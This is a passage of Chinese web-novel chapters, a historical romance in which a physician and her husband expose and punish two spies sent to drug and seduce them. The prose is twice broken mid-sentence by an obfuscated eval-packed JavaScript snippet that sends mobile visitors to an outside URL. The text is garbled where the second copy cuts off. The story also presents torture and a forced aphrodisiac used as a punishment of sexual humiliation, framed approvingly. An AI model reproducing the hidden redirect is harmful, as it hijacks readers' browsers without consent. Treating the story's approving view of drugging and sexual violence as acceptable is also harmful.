“你小心!每隔半个时辰服一次这个药粉!”她塞给他一个小纸包,转身上了马车。 “走!” 马车向着军营疾驰而去。 回到军营,李梵娘立刻开始配药。 药房全面**,所有需要的药材被迅速送来。 在李梵娘的指挥下,军医和药师们分成数组,按照她给出的精确配方和流程,熬煮、研磨、配制…… 整个过程中,李梵娘不断根据系统反馈微调着配方,亲自把控。 天快亮时,第一批解**丸和净化剂终于配制完成。 “快!立刻将药丸分发给已经接触过河水的军民!净化剂立刻投入三岔河口及下游各主要水段!”李梵娘声音沙哑。 士兵拿着药剂转身就跑。 李梵娘瘫坐在椅子上,几乎虚脱。 天色大亮时,杜仁绍回来了。 他的手臂包扎着,脸色有些苍白,但眼神亮得惊人。 “净水剂起效了,下游水质恢复了,**点也被控制住了。” 他走到李梵娘面前,看着她疲惫不堪却依然清亮的眼睛,“梵娘,你又救了这苏州城一次。” 李梵娘摇摇头,靠进他怀里,“是我们一起。” 杜仁绍揽着她靠在自己未受伤的肩上。 两人谁也没再说话,只是依偎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473908|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受着彼此的心跳和体温。 两人不知何时倒在床上睡着了。 第二天晌午,帐内温度也升高了些。 李梵娘是先被热醒的,后来又被帐外的操练声吵醒的。 她睡得迷迷糊糊,只觉得枕着的“枕头”硬邦邦的,还热得厉害,扰人清梦。 她不满地蹙紧眉头,张嘴就朝着那热源不轻不重地咬了一口。 “嘶——”杜仁绍倒抽一口凉气,瞬间清醒。 低头一看,自家夫人正闭着眼,叼着他胸前中衣的布料,发泄着自己被吵醒的不满。 那点力道与其说是咬,不如说是磨,痒痒的,带着点撒娇似的意味。 他先是愣了一下,随即眼底漫上浓得化不开的宠溺。 他故意抽着气,压低声音逗她:“哎哟…夫人饶命…为夫的肉硬,仔细别硌了牙…” 李梵娘这才醒过神来,意识到自己干了什么,脸一下子烧了起来,连忙松开口,恨不得找个地缝钻进去。 她手忙脚乱地想从他怀里坐起来,嘴上却不肯认输,强撑着嘟囔:“谁、谁让你硌着我了…热**…” 杜仁绍朗声大笑,手臂却收得更紧,不让她逃开。 他凑到她耳边,气息灼热:“为夫给你当枕头还当出错了?嗯?那夫人说说,想怎么罚?” “你…你无赖!”李梵娘又羞又恼,手肘往后顶他,小心避开了他受伤的手臂,“快放开!热!” “不放。”杜仁绍耍起无赖,下巴蹭着她的发顶,声音里带着满足,“抱着自家夫人,天经地义。再说,昨晚可是某人主动投怀送抱…” “杜仁绍!”李梵娘耳根更红了,扭过头瞪他,却对上他含笑的眼睛,里面的深情让她心跳漏了一拍,竟一时忘了词。 两人笑着闹着,在榻上较了会儿劲,一个非要抱,一个往旁边推。 最后还是杜仁绍怕惹恼了自家媳妇儿,见好就收,松开了手臂,顺势拉起她的手。 “好了,不闹了,起来洗漱,该用早饭了。” “王猛那小子肯定备好了,再不去,他该在帐外转悠第八圈了。” 李梵娘哼了一声,算是默许,起身整理衣襟和鬓发。 第二百二十二章 美人计 杜仁绍也跟着起身,动作间扯到了手臂的伤,顿了一下。 李梵娘立刻转身扶住他:“慢点!伤口疼不疼?让我看看…” “无妨,小伤。”杜仁绍握住她的手,唇角弯起,“有夫人在,这点伤算什么。” 洗漱完,两人走出内帐。 果然,王猛早就候在外头了。 一见他们出来,尤其是看到国公爷那掩不住的春风得意,他立刻低下头,嘴角却快咧到耳根子了,“国公爷,夫人,早饭备好了!” 简单的清粥小菜摆在案几上。 两人用着早饭斗着嘴。 “报——!” 一个亲兵快步进来,单膝跪地:“国公爷,夫人,营外有一女子,自称是苏州城南人士,家中遭匪患,亲人都**,孤身逃难至此,听闻国公爷和夫人仁德,特来乞求收留庇护!” 杜仁绍眉头蹙起没说话。 又一名士兵匆匆进来:“禀国公爷,营外有一少年书生姓柳,说是仰慕夫人医术,特从金陵赶来,愿拜在夫人门下为徒,钻研医术,这是他的几本家传医书手稿。” 说着呈上一个布包。 李梵娘与杜仁绍对视一眼,都在对方眼中看到了警惕。 这未免太巧了。 杜仁绍冷哼一声:“匪患?苏州地界近日太平,何来匪患?让她进来,本王倒要看看是何方神圣。” 李梵娘吩咐,“请那少年稍候,容我看一下手稿。” 士兵领命出去。 很快,一名女子被带了进来。 只见她一身素白孝服,却难掩较好的身段窈窕,面容憔悴,泪痕未干,更显得楚楚可怜,我见犹怜。 她一进来便噗通一声跪在地上,未语泪先流:“民女白芷,叩见国公爷,夫人…求国公爷、夫人救命…” 声音带着江南女子特有的软糯,哭得肩膀微颤,目光若有若无地瞟向杜仁绍。 杜仁绍心中冷笑,这演技倒是逼真。 “起来回话,你说家中遭匪,是何处的匪徒?何时发生?可曾报官?” 白芷抽噎着起身,怯生生地答道:“回国公爷,是…是三日前,太湖来的水匪,夜间袭了庄子,爹爹和兄长他们…” “呜呜…民女侥幸藏于枯井才逃过一劫…已报官,可官府说查无实据…” 她说着,身子一晃,似乎虚弱得站立不稳,作势要向杜仁绍这边倒来。 杜仁绍没动,对王猛使了个眼色。 王猛上前一步,虚扶了一下:“姑娘小心,可别摔着了。” 白芷脸上闪过尴尬,顺势站稳,泪眼盈盈地望着杜仁绍,满是依赖和祈求。 李梵娘在一旁看着,指尖翻过那少年送来的所谓“家传医书手稿”。 【宿主,这手稿是近几日才仿古抄写的,墨迹和纸张做旧手法粗糙,内容倒是有些真东西,但夹杂了一些阴损的偏方,若照这个用药会出事。】 李梵娘心中了然,放下手稿,“请那位柳公子进来吧。” 片刻后,一名身着青衫、容貌清秀、气质腼腆的少年走了进来,举止斯文有礼。 “学生柳彦,金陵人士,久仰夫人‘护国医仙’圣名,一心向医,特来投奔,恳请夫人收留,学生愿执弟子礼,潜心侍奉!”说着深深鞠了一躬。 态度恭敬,眼神清澈,看起来就是一心求学的单纯少年。 若非自己有系统,李梵娘几乎都要被他的表象骗过去。 她微微一笑,语气温和:“柳公子请起,公子家传医术颇有独到之处,只是其中一些见解…” “嗯……颇为大胆,还需斟酌。” 柳彦立刻抬头,眼中满是“求知”,“夫人明鉴!学生也觉得其中某些方剂似乎过于猛烈,正想请教夫人!” “学生听闻夫人编纂《大胤医典》,兼容并蓄,最是开明…” 他话语诚恳,不着痕迹地吹捧李梵娘,想要拉近关系。 杜仁绍在一旁看着那白芷时不时飘向自己的眼神,又看那柳彦对着李梵娘一副“虚心学习”的模样,心里跟明镜儿似的。 这是看强攻不行,改用软刀子,美人计加离间计? 他心中冷哼,面上却不显,对白芷道:“既然你无处可去,暂且留在营中做些杂役吧。王猛,带她下去安置。” 白芷眼中闪过喜色,连忙屈膝道谢,“多谢国公爷收留!” 目光依旧黏在杜仁绍身上。 另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将计就计 最后还是杜仁绍败下阵来。 他见硬的不行,只好来软的,凑过去拉住李梵娘的手,放软了声音:“梵娘…媳妇儿…我不是不信你,我是担心你…” “那白芷我自然会派人紧紧盯着,绝不会让她近身三尺之内。” “可那小子…他要是借着讨教医术的机会对你…对你…” 他说不下去了,一想到那种可能,他就恨不得立刻去把那柳彦扔出去在踹一脚。 李梵娘看着他一脸憋屈又担心的样子,心早就软了,但面上还强撑着:“对我什么?你说啊?” 杜仁绍憋了半天,憋出一句:“…对你洒迷魂药!” “噗——”这下连李梵娘都忍不住笑出声了,帐外的王猛等人更是憋得满脸通红。 杜仁绍被她笑得有些不好意思,一把将她搂进怀里,恶狠狠道:“反正不准!你要敢让他碰你一下,我就…我就…” “你就怎么样?”李梵娘仰头看他,眼里满是笑意。 “我就…我就军法处置他!”杜仁绍找不到威胁她的词,主要也是不舍得凶媳妇儿,只好迁怒那个臭男人。 李梵娘终于不再逗他,靠在他怀里,轻声道:“好了,我知道你是担心我。放心,我有分寸,绝不会让自己涉险。” “套话的事,我自有办法,不会给他近身的机会。这样总行了吧?” 杜仁绍这才勉强哼了一声,算是默许了,但依旧板着脸:“反正你不准对他笑!” 李梵娘:“……” 这醋劲儿真是没救了。 计划既定,夫妻二人便分头行动。 杜仁绍召来赵无咎,派人十二时辰紧盯白芷,她接触的人,说的话都要盯着,但表面上要给她一定的“活动自由”,甚至故意制造一些能接近杜仁绍的机会。 李梵娘则安排柳彦在药材库帮忙,美其名曰“从基础做起,熟悉药性”,实则将他放在眼皮子底下,方便看着和控制。 那白芷果然不是省油的灯。 安分了两日后,便开始借着各种由头往杜仁绍的大帐附近凑。 不是“偶遇”杜仁绍,送上自己熬的“润肺羹汤”,就是在他必经之路上“黯然垂泪”,诉说“思年亲人之苦”,端的是弱柳扶风,那演的叫一个情真意切。 杜仁绍按照计划,大多数时候冷淡应对,偶尔流露出些“怜悯”,给她一种有机可乘的错觉。 这日傍晚,杜仁绍故意在帐外河边散步思索军务。 白芷果然“巧合”地出现在那里,抱着一件缝补的衣物,见到他,慌忙行礼,脸颊飞红:“国公爷…” 杜仁绍停下脚步,目光在她脸上停留片刻,语气缓和了些:“是你啊。在营中可还习惯?” 白芷受宠若惊,连忙点头:“习惯,多谢国公爷关心…只是…只是有时夜里想起家人,难免…”说着眼圈又红了。 杜仁绍心中冷笑,面上却叹了口气:“乱世艰难,女子更是不易。你好生待在营中,无人会欺辱你。” 白芷趁机上前一小步,将手中的衣物举起来些。 “国公爷日夜操劳,民女见您常穿的衣袍沾了土,便自作主张为您洗了…望国公爷不嫌弃…” 她说着,手指像是无意地拂过衣袍的领口,一股极淡的甜香随风飘来。 杜仁绍眼神微微一凝,媳妇儿早就跟他说过了,这女人身上常带着一种能令人产生好感的迷香。 他屏住呼吸,面上露出些许动容,伸手接过衣袍:“有心了。” 指尖“不经意”地擦过她的手指。 白芷像是被烫到一般缩回手,脸更红了,垂下头,声音细若蚊蚋:“能…能为国公爷分忧,是民女的福分…” 她又试探着说了几句关怀的话,见杜仁绍并未像往常那样立刻离开,心中暗喜,觉得杜仁绍已经对自己有一点儿好感了。 却不知,暗处至少有五双皇城司的眼睛盯着她的一举一动。 另一边,药材库里。 柳彦表现得异常勤快,不仅将分内工作做得井井有条,还主动帮忙整理李梵娘带回来的那些疑难杂症脉案和药方。 他学识确实不错,对药材药性的理解也比其他普通学徒好不少,时常能提出一些颇有见解的观点。 他并不着急靠近李梵娘,而是保持恰到好处的距离,时不时提出一个自己难以理解的问题向李梵娘请教。 问题都提得很有水平,他确实下过苦功,很容易博得好感。 李梵娘也不点破,就像是一位温和的师长,解答他的疑问。 同时也会在解答中,故意留下一些关于特殊药材配伍或疑难杂症治疗的方子,吊着他的胃口。 果然,柳彦对此表现出极大的兴趣。 这日,李梵娘正在处理一批新送来的药材,其中恰好有几味是炼制那密室中毒药所需要的辅料。 柳彦在一旁帮忙,状似无意地问道:“夫人,学生看到这个‘鬼灯笼’花,药性猛烈,古籍记载多用于以毒攻毒,但是它与‘血枯草’相结合,却会使毒性更大。” “不知夫人编纂医书时,对这种相克的毒,是如何看待?” 李梵娘心中一动。 她放下手中的药材,“是药三分毒,用好了是良药,用差了便是杀人的刀,医者在于明辨慎用。” “就拿这个举例子,这‘鬼灯笼’,若是和‘月影藤’而不是‘血枯草’,再加上三滴晨露,文火慢煨三个时辰,反而能化掉毒性,生出能够有接经脉的奇效。” “只是这个方法太凶险,对火候、用量要求都极为苛刻,稍有差池便前功尽弃…” 她故意说了一半,留下一个看似诱人实际上满是陷阱的“秘方”。 柳彦眼中闪过精光,连忙追问:“不知这方子何处所得?火候又该如何把握?” 李梵娘笑了笑,不直接回答,转而继续说,“此乃一位云游高人所述,我也未曾试过。” “学无止境,我们所知道的不过是沧海一粟,柳公子年轻有为,将来或许能走的更远。” 她巧妙地转移了话题,避免了泄露关键信息,更勾起了柳彦的兴趣。 柳彦见她不肯再说,心里有些焦急,却也不敢表现得太明显,只得按捺住,想着日后慢慢套话。 他却不知道,刚刚他对于毒物的急切都被李梵娘注意到了。 夫妻二人,一个应付着红颜,一个周旋着知己,看似陷入了对方的陷阱,实则张着网等着他们露马脚呢。 第二百二十四章 无奈 又过了两日。 白芷似乎安于现状,只在杜仁绍出现时,才会流露出恰到好处的仰慕与关心。 柳彦则更勤奋地钻研“医术”,对李梵娘越发恭敬。 这日下午,李梵娘在临时药房里配制一批新的解毒丹。 柳彦在一旁帮忙称药材,动作一丝不苟。 “夫人,”他忽然开口,有些犹豫“学生昨日整理您带回来的那些古籍残卷时,发现一处关于‘千年寒玉’的记载,似乎与某种延缓衰老的秘术有关…” 李梵娘手中药杵微微一顿。 她不动声色:“哦?还有这等记载?我倒未曾留意。” 柳彦见她感兴趣,立刻接着说:“是的,只提及需要特殊的……” 他一边说着,一边拿起旁边的干草药,似乎想要递给李梵娘看。 就在他递过来的那一瞬。 他手腕一抖,那株草药里竟然藏着一小包无色无味的粉末,被他瞬间震散,直扑李梵娘面门。 距离太近,事发太过突然。 李梵娘反应就是再快,也有少许粉末被吸入鼻腔。 一股燥热感瞬间从体内升起,视线开始模糊,身体发软。 “你!”李梵娘又惊又怒,扶住药架才勉强站稳。 柳彦脸上那谦恭腼腆的表情瞬间消失,取而代之的是得意和疯狂。 “夫人恕罪,学生只是想请夫人好好‘休息’一下…” 他欺身向前,手里拿着细针,显然淬了剧毒,直直刺李梵娘的颈侧。 他想要制造李梵娘“意乱情迷”、“意外”中毒身亡的假象。 就在这千钧一发之际。 “砰!” 药房的门被人一脚踹开。 杜仁绍气势汹汹的冲了进来。 他一直在暗中关注着这边的动静,察觉不对立马冲了进来。 妈的,算计他媳妇儿? 他看到李梵娘踉跄的模样和柳彦手中的毒针,目眦欲裂。 “找死!” 他根本来不及拔刀,直接一脚踹飞旁边的药碾子,石碾直直砸向柳彦。 柳彦没想到杜仁绍来得这么快,脸上表情一边,慌忙闪躲。 杜仁绍趁机冲到李梵娘身边,将她护在身后。 同时劈手夺过柳彦手中的毒针,反手就朝着他扎过去。 然而那柳彦看似文弱,身手却出乎意料地敏捷。 他猛地向后滑开半步,毒针只划破了他的袖口。 一击不中,柳彦知道自己已经没有可能得手,更不敢与杜仁绍缠斗,转身便要逃走。 “还想跑?” 守在门外的王猛等人听见里面动静不对,又见人要逃,立刻冲进去把柳彦摁在地上。 王猛甚至没敢多看帐内情形一眼,押着柳彦麻溜的退了出去。 杜仁绍此刻无暇他顾,因为怀中的李梵娘药性已然发作。 她浑身滚烫,意识模糊,只觉得抱着自己的人好凉快。 她在他怀里难受地扭着,脸蹭着他的颈窝,手更是胡乱地撕扯着他的衣襟。 “热……好热……仁绍……救我……” 意乱情迷中,李梵娘仅存的理智让她挣扎着吐出几个字:“…屏风…后…药箱…白色…瓷瓶…” 杜仁绍腾出一只手抓过药箱,找出那白色瓷瓶,倒出几粒药丸自己含住,然后渡到她口中。 这是李梵娘之前特意调配的,能缓解多种迷药毒性的基础解毒丹。 虽然不能立刻根治,但能护住心脉,减轻症状。 药丸融化,加上杜仁绍亲自解毒,李梵娘体内的燥热渐渐疏解… 不知过了多久,帐内的动静才平息下来。 李梵娘药性褪去,累的昏睡在杜仁绍怀里,脸色恢复了正常,只是唇瓣有些红肿,眼角还带着泪痕。 杜仁绍拉过锦被将她裹好,看着她沉睡的样子,眼底满是后怕和怒气。 不知过了多久,李梵娘才悠悠转醒,身子像是被拆过一遍,酸软得厉害。 她刚一动弹,就忍不住“嘶”了一声。 一直守在榻边的杜仁绍立刻凑近,紧张地问:“醒了?还有哪里不舒服?” 李梵娘摇摇头,想起昏迷前那惊险的一幕和之后……脸颊微红,但随即转为愤恨:“那柳彦…” 她不提还好,这一开口,杜仁绍一直强压着的火气蹭蹭往外喷。 他猛地站起身,在榻前来回踱了两步,然后停下指着她,气得声音都在发颤: “李梵娘!你之前是怎么跟我保证的?啊?信誓旦旦说你有分寸!绝不会涉险!绝不会让他近身!结果呢?” “那杂碎就差把毒针扎你脖子上了!那下三滥的药粉你都吸进去了!要是我……要是我再晚到一步!你想过后果吗?你让我怎么办?让春儿怎么办?” 他越说越气,额角青筋都跳了起来,眼里满是后怕。 “你知不知道我看到你那样子,魂都快吓没了!你的分寸呢?你的万全准备呢?说话!” 李梵娘被他吼得缩了缩脖子,自知理亏,低着头不敢看他。 她抿了抿唇,小声辩解:“我…我也没想到他敢在药房里、光天化日之下就……” “没想到?敌人会跟你讲规矩吗?会按你预想的来吗?”杜仁绍根本不听,气得快喷火了。 “你就是太自信!总觉得一切都在掌握中!这次是运气好!下次呢?” 见他真的动了大气,眼圈都发红了,李梵娘心里有些疼。 她挣扎着支起身,伸手拽住他因激动而紧握的手,指尖在他手背上挠了挠,“仁绍……你别生气了嘛……我知道错了……” 她仰着脸还有些苍白,眼尾泛红,“下次……下次我一定更小心……绝对、绝对不让你担心了……好不好?” 她轻轻晃着他的手,“你看我这不是没事嘛……多亏有你……” 杜仁绍一肚子的火气,被她这软绵绵的几句撒娇和那可怜兮兮的眼神堵得严严实实,发作不出来。 他瞪着她半晌,抽回手,烦躁地转过身,重重地叹了口气。 “唉!”他抬手按了按突突直跳的太阳穴,声音满是无奈和认命。 本来刚刚还打算严厉训斥一顿李梵娘,可现在连气势都垮了。 “我真是……我真是输给你了,李梵娘。” 他转回身,没好气的坐到榻边,语气硬邦邦的,动作却温柔的很。 “……哪儿还疼?是不是腰又酸得厉害?” 一边说着,一边已经伸手探进被子里,覆上后腰就开始揉,手法居然还挺熟练。 他低着头,闷声闷气地嘟囔,像是说给她听,又像是自言自语:“你就是我祖宗……上辈子欠了你的……这辈子派你来治我……” 李梵娘舒服地喟叹一声,心安理得享受着他的服务,“嗯,就是你祖宗……那你可得好好伺候着……” 杜仁绍瞪她一眼,手下动作却没停,任劳任怨地继续给他这娇气又胆大的“祖宗”揉腰,眼里满是宠溺和无奈。 第二百二十五章 好样的 直到深夜,李梵娘才完全缓过劲来。 他起身披衣走出内帐,面色阴沉得能滴出水。 “王猛!” “末将在!” “把那个杂碎带过来!老子要亲自审!” “是!” 很快,被折磨得奄奄一息的柳彦被拖了进来。 杜仁绍坐在椅上,跟个煞神似的。 “说!谁指使你的!” 柳彦被打得鼻青脸肿,却咧开嘴笑,满口血沫子:“呵…呵呵…镇国公…滋味如何?…要不是你来得及时,我再她之前都能尝尝那女人的滋味…哈哈哈…” “呸,惦记老子媳妇儿,你个杂碎!” 杜仁绍猛地一脚踹在他胸口。 柳彦惨叫一声,肋骨不知断了几根。 杜仁绍冷笑,“赵无咎!把他交给皇城司!把所有的刑具都给他用上一遍!撬开他的嘴!” “是!”赵无咎眼中闪过寒光,挥挥手,立刻有人将惨叫的柳彦拖了下去。 等待他的,将是生不如死,毕竟皇城司的手段可不是说说而已。 杜仁绍回帐子陪李梵娘休息。 过了一会儿,就听赵无咎在帐外求见。 “国公爷,夫人,那姓柳的招了” “说!” “他确实是‘云山亭’培养的‘药引’,专司用美色与医术接近目标,下毒或套取秘术。” “此次任务,一是离间您二位,若离间不成,便对夫人下毒,制造丑闻…” “所下之毒名为‘醉春风’,无特定解药,若非…呃…夫人吉人天相,后果不堪设想…” “他还招供了几个苏州城内与他们有勾结的药铺和据点…” 杜仁绍和李梵娘对视一眼。 他深吸一口气,“把那个白芷,也给本王‘请’过来!” “是!” 不过片刻,一身素衣的白芷便被带了进来。 像是刚从睡梦中被人硬拉起来,眼里带着恰到好处的惊慌与柔弱,看了看帐子里的人,最终目光落在杜仁绍身上。 “国公爷…深夜唤民女前来,不知所为何事?可是…可是民女做错了什么?”她声音有些发颤,若是寻常男子见了,只怕骨头都要酥半边。 可是对着的是一屋子的糙汉子,平时不怎么接触女人不说,更何况自家嫂子都是办事麻利的女强人,对比之下看她就是一副地铁老爷爷看手机的样子。 杜仁绍懒得看她演戏,开门见山,声音没有一丝温度:“是你自己招,还是等用刑之后再说?” 白芷浑身一颤,瞪大了眼睛,泪水扑簌簌落下:“国公爷…您、您这是什么意思?” “民女…民女听不懂啊!民女只是一个无依无靠的弱女子,承蒙国公爷收留才有一条活路,感激还来不及,怎会…怎会做对不起您的事?” 她哭得梨花带雨,肩膀耸动,端的是一副受了天大冤屈的模样。 见杜仁绍面无表情,她像是忽然想到什么,眼睛下意识地瞟向靠在杜仁绍旁边的李梵娘,眼神里瞬间充满了恐惧和委屈。 她膝行半步,声音愈发可怜,“是不是…是不是夫人对民女有什么误会?觉得民女…觉得民女对国公爷存了不该有的心思?” 她抬眼痴痴地望着杜仁绍。 “是!民女承认!国公爷英武不凡,又对民女有救命之恩,民女…民女确实心生仰慕,情难自禁!” “可喜欢一个人有错吗?民女从未想过与夫人争抢什么,只是…只是控制不住这颗心啊!” 她越说越激动,“国公爷您想想,您换下的衣衫,都是民女亲手洗衣缝补,每一针每一线都带着民女的心意…” “您与民女说话时,那般温和…难道…难道您就真的…真的对民女没有半分动心吗?哪怕只是一丝怜惜?” 她说着,竟挣扎着想要起身,向杜仁绍靠近,“是不是因为夫人在…您才不敢承认?” “民女…民女不求名分,哪怕只是做个端茶送水的婢妾,只要能时时见到您,伺候您,民女也心甘情愿啊!求夫人成全!” 帐内众人满脸无语,包括王猛和赵无咎在内,听得额头青筋直跳,嘴角抽搐,个个一脸黑线,恨不得把耳朵堵上。 这女人真是把胡搅蛮缠、倒打一耙发挥到了极致。 李梵娘本来靠在软垫上缓神,听到这里,直接被气笑了。 她扶着杜仁绍的手慢慢站起身,虽然脸色还有些苍白,但眼神已然恢复了清明。 她冷冷地看着白芷:“呵,拉扯我就算了,还非得把我架火上烤?你这点道行,省省吧。” 杜仁绍一听,头皮都麻了,赶紧一把搂住李梵娘的腰,急赤白脸地对着白芷呵斥:“你胡说什么!谁跟你温和说话了!老子那是正常语气!还有那衣服!” 他扭头看向王猛:“王猛!你来说!那是不是你的衣服!” 王猛一个激灵,赶紧上前一步,挠着后脑勺对李梵娘解释:“夫人明鉴!确实是末将的!国公爷他有洁癖…” “不是,是规矩大!说有了夫人您,别说让别的女人近身了,就是衣裳角都不能让别的女人碰一下!” “那天非要跟末将要了几件没来得及洗的旧袍子去糊弄人…那汗臭味儿隔老远都能闻到,绝对不是国公爷平日穿的!” 杜仁绍连连点头,看着李梵娘,眼神那叫一个真诚:“梵娘你闻闻我,我身上只有药味和你调的香囊味,绝对没有别的乱七八糟的味道!天地可鉴!” 白芷看着眼前这夫妻俩一唱一和,杜仁绍那急于撇清的样子,与她之前接触过的位高权重的男人截然不同。 她气的都装不下去了。 她猛地收住眼泪,眼神变得怨毒讥讽,嗤笑一声:“杜仁绍!你是不是有病?” “堂堂镇国公,手握重权,想要什么样的女人没有?环肥燕瘦,温柔小意,哪个不比她李梵娘解风情、懂伺候你?” “只要你点头,多少女人排着队爬上你的床!你偏偏守着一个不解风情的女人当宝贝?她有什么好?她能给你的,别的女人能给得更多更好!” 李梵娘闻言,眼神彻底冷了下来。 她轻轻推开杜仁绍的手,走向白芷。 她的步子还有些虚软,但气势却不低。 白芷被她眼中的杀意慑住,下意识地想后退,却被身后的亲兵挡住。 李梵娘走到她面前,伸手捏住她的下巴,迫使她抬起头。 指尖看似无力,却让白芷动弹不得。 “跟我抢男人?” 第二百二十六章 一物降一物 李梵娘的声音很轻,却带着让人心惊的凉意。 “就凭你?一身靠着取悦男人练就的皮肉功夫?你觉得…你哪一点,配和我比?” 她俯身凑到白芷的耳边,用只有两人能听到的声音,一字一句道:“你就这么缺男人?离了男人活不了?好啊...我成全你。” 话音未落,李梵娘把一颗散着甜香的粉药丸塞进白芷嘴里,指尖在她喉间一按,药丸便被吞了下去。 白芷吓得想要抠吐出来,却已经来不及,入口即化。 李梵娘松开手,取出帕子慢条斯理地擦了擦手,仿佛碰了什么脏东西。 她转向王猛,语气平静无波:“王猛,把她丢到城外最脏最乱的乞丐窝去。” “这‘桃花醉’的药效能让她‘舒舒服服’地过三天,想必能让她好好享受一下‘众星捧月’的滋味。” 帐内所有男人,包括杜仁绍在内,都下意识地夹紧了双腿,背后冒起一层冷汗。 王猛和几个亲兵更是头皮发麻,赶紧拱手应着:“是!夫人!” 几人抢着架起面无人色的白芷退了出去,动作快得活像后面有鬼在追。 惹不起,夫人真惹不起! 万一她手滑… 帐内很快恢复了安静。 杜仁绍轻咳一声,走上前打横抱起李梵娘,坐回榻上,让她靠在自己怀里。 熟练地按上她的后腰,力道适中地揉起来,语气带着无奈和宠溺,“醋劲儿这么大?嗯?” 李梵娘舒服地眯起眼,哼了一声:“我乐意。” “杜仁绍你给我听好了,你是我的,从头到脚每一根头发丝都是我的,敢让别的女人碰一下,或者自己起了歪心思…” 她睁开眼,斜睨着他某处,“我就让你这辈子都只能安心当个国公爷。” 杜仁绍低笑出声,不仅不恼,反而把她搂得更紧,低头在她发顶落下一吻,“求之不得。有你一个,抵得过世间万千。我杜仁绍此生,绝不负你。” 李梵娘这才满意地哼了哼,靠在他怀里,疲惫感袭来让她很快沉沉睡去。 杜仁绍保持着姿势,一动不动,只是静静地看着她恬静的睡颜,眼神温柔得能溺死人。 翌日清晨,李梵娘还没醒。 杜仁绍给她掖好被子,这才轻手轻脚地起身出帐。 王猛、赵无咎等人早就候在外面了,个个精神抖擞。 杜仁绍迅速部署人手,准备以柳彦的供词为突破口,端掉“云山亭”在苏州城的几个重要据点。 王猛看着自家国公爷眼下淡淡的青黑,却神采奕奕的模样,忍不住凑近了挤挤眼,“老大,您这…昨晚跪搓衣板了没?” 杜仁绍横了他一眼,非但没生气,嘴角反而勾起一抹得意。 “你懂什么?这叫闺房之乐。能被自家媳妇儿管着,是老天爷赏的福气。” 王猛:“……” 得,这妻管严还当出优越感来了! 赵无咎在一旁眼观鼻鼻观心,假装什么都没听见,但微微抽动的嘴角出卖了他。 杜仁绍布置完任务还不忘扭头对王猛交代一句:“对了,夫人醒了立刻报我。” “还有,灶上一直温着夫人爱吃的莲子羹和清淡小菜,别忘了。” “是是是,忘不了!您就放心吧!”王猛连连应声。 杜仁绍这才点点头,大步流星地走向点将台。 王猛、赵无咎几人跟在他身后,交换了一个心照不宣的眼神,那眼神里分明写着:得,咱家老大这辈子是彻底栽嫂子手里了,没救了。 不过…这样挺好。 李梵娘这一觉睡得沉,直到日上三竿才悠悠转醒。 帐内静悄悄的,只有阳光透过帐帘洒下几缕光斑。 她动了动身子,还有些酸软。 她刚坐起身,帐帘就被掀开。 杜仁绍端着一直温着的莲子羹和小菜走了进来。 “醒了?”他快步走到榻边,将托盘放在一旁的小几上,伸手探了探她的额头,“还有没有哪里不舒服?” 李梵娘摇摇头,就着他的手喝了几口温热的羹,胃里暖和起来,精神也好了许多。 她抬眼看向杜仁绍,“仁绍,带我去见见那个柳彦。” 杜仁绍眉头立刻蹙起:“见他做什么?一个将死之人,污秽不堪,没得脏了你的眼。赵无咎正在审,保证让他把知道的全吐出来。” “他给我下了那种药,”李梵娘语气平淡,却透着一股冷意,“这笔账,我得亲自跟他算清楚。不然我这口气顺不下去。” 杜仁绍看着她眼底那抹执拗,知道她是真动了怒。 他叹了口气,“好,我带你去。但答应我,别靠太近,也别动气,为那种杂碎不值当。” “嗯。”李梵娘点点头。 杜仁绍帮她披上外衣,仔细系好带子,又给她找了顶帷帽戴上,这才揽着她的肩,半护着她往外走。 关押柳彦的地方是一处守卫森严的土牢。 还没走近,就能闻到里面传来的血腥味儿。 杜仁绍下意识地侧身想挡住李梵娘的视线:“要不还是…” “没事。”李梵娘轻轻推开他的手,脚步没停。 牢门打开,里面的情形让见惯了血腥场面的王猛等人都有些不忍直视。 嘶,皇城司的人这么狠的吗? 柳彦被铁链锁在刑架上,浑身没有一块好肉,奄奄一息。 赵无咎站在一旁,正拿着口供让画押。 听到脚步声,柳彦艰难地抬起头。 当他看到李梵娘时,眼睛里爆发出惊人的亮光,像是抓住了救命稻草。 “夫人!医仙娘娘!饶命…饶命啊!”他声音破碎,带着哭腔。 “学生…学生是一时鬼迷心窍…是被逼的!求您大发慈悲…饶了我这条贱命吧!” 他挣扎着,铁链哗啦作响,“学生…学生愿意做牛做马报答您!我的医术…我的医术都献给夫人!只求您…” 李梵娘静静地看着他表演,表情没有什么变化。 柳彦见她不为所动,眼神逐渐变得绝望,继而扭曲起来。 他猛地喘了几口粗气,竟咧开嘴笑,目光淫邪地在她和杜仁绍之间扫视。 “呵…呵呵…李梵娘…你装什么清高!” “昨晚…昨晚若不是他来得快…你早就是我的人了!你会在我身下…” “砰!” 第二百二十七章 断子绝孙套餐 杜仁绍一脚踹在他嘴上,力道之大,让刑架都晃了晃。 柳彦惨叫一声,吐出几颗带血的牙,余下的话被打断。 杜仁绍脸色铁青,眼里的杀意沸腾,恨不得立刻将他碎尸万段。 李梵娘却伸手拉住了杜仁绍的手臂,阻止他下一步动作。 她上前一步,隔着帷帽俯视着柳彦。 她的声音平静得可怕,“就你?也配和他比?” “杜仁绍是顶天立地的英雄,是保家卫国的栋梁。你呢?不过是一条躲在阴沟里,用些下作手段害人的蛆虫。” “连给他提鞋,都嫌脏了他的鞋。” 柳彦被骂得面目狰狞,嘶吼道:“英雄?栋梁?” 